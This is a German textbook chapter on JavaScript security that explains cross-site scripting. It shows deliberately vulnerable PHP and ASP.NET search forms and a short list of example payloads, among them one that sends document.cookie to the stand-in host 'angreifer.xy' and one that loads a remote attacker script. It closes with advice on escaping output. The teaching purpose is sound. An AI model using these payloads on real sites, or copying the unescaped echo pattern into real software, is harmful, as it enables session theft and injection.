Wer die Freiheit aufgibt, um Sicherheit zu gewinnen,
wird am Ende beides verlieren.
– Benjamin Franklin Kapitel 30 JavaScript und Sicherheit
Es vergeht kaum eine Woche, in der nicht irgendeine Webanwendung »geknackt« wird, also eine Sicherheitslücke entdeckt und häufig auch ausgenutzt wird. Dabei trifft es häufig auch qualitativ gute und beliebte Open-Source-Projekte, etwa die diversen CMS-Systeme, Weblogs und Bildergalerien: Es gibt kaum eine bekanntere Software, die es noch nicht erwischt hat.
Was hat das aber mit JavaScript zu tun? Nun, eine der Angriffsmöglichkeiten beinhaltet die Verwendung von JavaScript. Ein guter Angreifer ist also häufig auch sehr versiert in JavaScript.
Dieses Kapitel soll natürlich kein Hacker1 -Grundkurs sein, sondern vielmehr das Bewusstsein dafür schärfen, mit welchen einfachen Mitteln Angriffe vonstatten gehen können. Im Zusammenhang mit AJAX sind möglicherweise auch herkömmliche JavaScript-Anwendungen in Gefahr, dem Angriff zum Opfer zu fallen.
30.1 XSS
Einer der gefährlichsten Angriffe im Web ist das »Cross-Site Scripting«, abgekürzt mit XSS (CSS hat ja bereits eine andere Bedeutung). Dabei geht es um die Einspeisung von Skript-Code in eine Website. Wie das funktioniert und vor allem wie das vonstatten gehen kann, soll ein kleines und typisches Beispiel zeigen. Stellen Sie sich eine Suchmaske auf einer Website vor. Mit PHP kann das – ganz rudimentär – wie folgt aussehen:
<html>
<head>
<title>XSS</title>
</head>
<body>
<h1>XSS</h1>
<form action="" method="get">
<input type="text" name="suchbegriff" /><br />
<input type="submit" value="Suchen" />
</form>
<?php
if (isset($_GET['suchbegriff'])) {
echo "Ihre Suche nach {$_GET['suchbegriff']} ergab keinen Treffer.";
}
?>
</body>
</html>
In ASP.NET würde das Beispiel sehr ähnlich aussehen:
<%@ Page Language="JScript" %>
<script runat="server">
function Page_Load() {
if (suchbegriff.Value != "") {
Ergebnis.InnerHtml = "Ihre Suche nach " +
suchbegriff.Value +
"ergab keinen Treffer.";
}
}
</script>
<html>
<head>
<title>XSS</title>
</head>
<body>
<h1>XSS</h1>
<form method="post" runat="server">
<input type="text" id="suchbegriff" runat="server" /><br />
<input type="submit" value="Suchen" />
</form>
<p id="Ergebnis" runat="server"></p>
</body>
</html>
In dieser Art sind viele Websites programmiert – leider viel zu viele. Probieren Sie doch beispielsweise einmal, als Suchbegriff <hr /> einzugeben. Das Ergebnis ähnelt dann dem in Abbildung 25.1: Es erscheint nicht etwa <hr />, sondern die horizontale Linie. Der Webbrowser interpretiert also das HTML!
Hier klicken, um das Bild zu Vergrößern
Abbildung 30.1 Die horizontale Linie erscheint.
Unter ASP.NET erscheint unter Umständen eine Sicherheitswarnung, wenn Sie <hr /> in das Suchfeld eingeben und das Formular verschicken. Das ist natürlich besser als die Anzeige der horizontalen Linie, aber natürlich auch nicht optimal, weswegen viele ASP.NET-Entwickler dieses Sicherheitsfeature zähneknirschend abschalten.
Eine horizontale Linie ist vielleicht unschön, aber noch kein Beinbruch. Doch es geht noch schlimmer beziehungsweise unangenehmer. Geben Sie doch einmal folgenden Suchbegriff ein:
<script>alert("Oh nein ...");</script>
Bevor Sie jetzt einwenden, da würde doch etwas fehlen (etwa das type-Attribut), sollten Sie einen kurzen Blick auf Abbildung 30.2 werfen. Das modale Warnfenster wirkt doch etwas peinlich.
Aber auch dieser Angriff sieht nicht wirklich gefährlich aus, nur lästig. Doch das ist – leider – noch lange nicht das Ende der Fahnenstange. Die folgenden »lustigen« Angriffe sind unter anderem noch möglich:
|
<div style="display:none"> – Der Rest der Seite ist unsichtbar. |
|
<script>location.href = "http://phishing.xy/";</script> – Weiterleitung auf eine andere Website |
|
<script>(new Image()).src = "http://angreifer.xy/?" + escape (document.cookie);</script> – Cookie-Daten der aktuellen Site (!) werden unsichtbar an einen anderen Server geschickt. |
|
<script src="http://angreifer.xy/skript.js"></script> – Ein bösartiges Skript von einem anderen Server wird geladen und ausgeführt. |
Hier klicken, um das Bild zu Vergrößern
Abbildung 30.2 Unangenehm: Ein JavaScript-Popup
Gerade die letzten beiden Angriffe sind gefährlich. Viele Websites authentifizieren ihre Nutzer ausschließlich über Cookie-Informationen; ist also der Cookie erst einmal geklaut, kann sich der Angreifer häufig als sein Opfer ausgeben. Und auch das Einschleusen beliebigen JavaScript-Codes ist Furcht einflößend.
Doch wie geht ein solcher XSS-Angriff vonstatten? Auch hier gibt es mehrere Möglichkeiten. Besonders bequem ist es natürlich, wenn die Daten des Angriffs permanent gespeichert werden, etwa in einem Gästebuch. Dann nämlich wird der bösartige JavaScript-Code (bzw. das bösartige HTML-Markup) bei jedem Benutzer ausgeführt, der die Site besucht. Aber auch im Beispiel mit der Suche ist ein Angriff relativ einfach möglich: Ein Bösewicht schickt seinem Opfer einfach eine Mail oder eine IM-Nachricht mit einem entsprechend vorbereiteten Link, der beispielsweise folgenden Aufbau hat: http://www.website.xy/xss.php?suchbegriff=%XX... – beachten Sie, dass der Skript-Code im GET-Parameter URL-kodiert wurde und deswegen nicht so einfach zu erkennen ist. Wenn das Opfer der Website http://www.website.xy/ vertraut, etwa seiner Hausbank, klickt er oder sie natürlich gerne auf den Link, und dann wird es bitter. Der Cookie könnte geklaut werden, oder es erfolgt eine (schwer zu erkennende) Weiterleitung auf die Seite des Angreifers, oder per JavaScript-Code wird das Versandziel des Login-Formulars auf den Server des Angreifers umgeleitet, oder ... Sie sehen, die Möglichkeiten sind fast endlos. Das Gefährliche ist, dass der JavaScript-Code zwar von außen kommt, jedoch im Kontext der Seite ausgeführt wird.
Übrigens, auch das kann sich ein Angreifer zu Nutze machen, allerdings unter einem anderen Aspekt. Laden Sie eine Seite im Browser, und geben Sie dann von Hand folgende URL ein: javascript:alert(document.cookie);. Es erscheinen alle Cookies, und zwar die der aktuell geladenen Website! Mit diesem Kniff können Sie (beziehungsweise ein Angreifer) auch Funktionen auf der aktuellen Seite aufrufen, Variablen verändern und vieles mehr.
Was können Sie dagegen tun? Nun, als Benutzer können Sie fast nichts tun, außer merkwürdige und vor allem recht lange Links nicht anzuklicken. Als Entwickler einer serverseitigen Lösung allerdings müssen Sie unbedingt Vorkehrungen gegen XSS treffen. Jede Ausgabe, die Nutzerdaten enthält, muss entwertet werden. Dabei gibt es fünf spezielle Zeichen, die je nach Kontext gefährlich werden können:
|
< |
|
> |
|
" |
|
' |
|
& |
Diese fünf Zeichen müssen durch ihre HTML-Entitäten ersetzt werden, also <, >, ", ' und &. Die meisten Web-Technologien bieten dafür eigene Hilfsfunktionen oder -methoden an, etwa htmlspecialchars() in PHP und Server.HtmlEncode() in ASP.NET.
|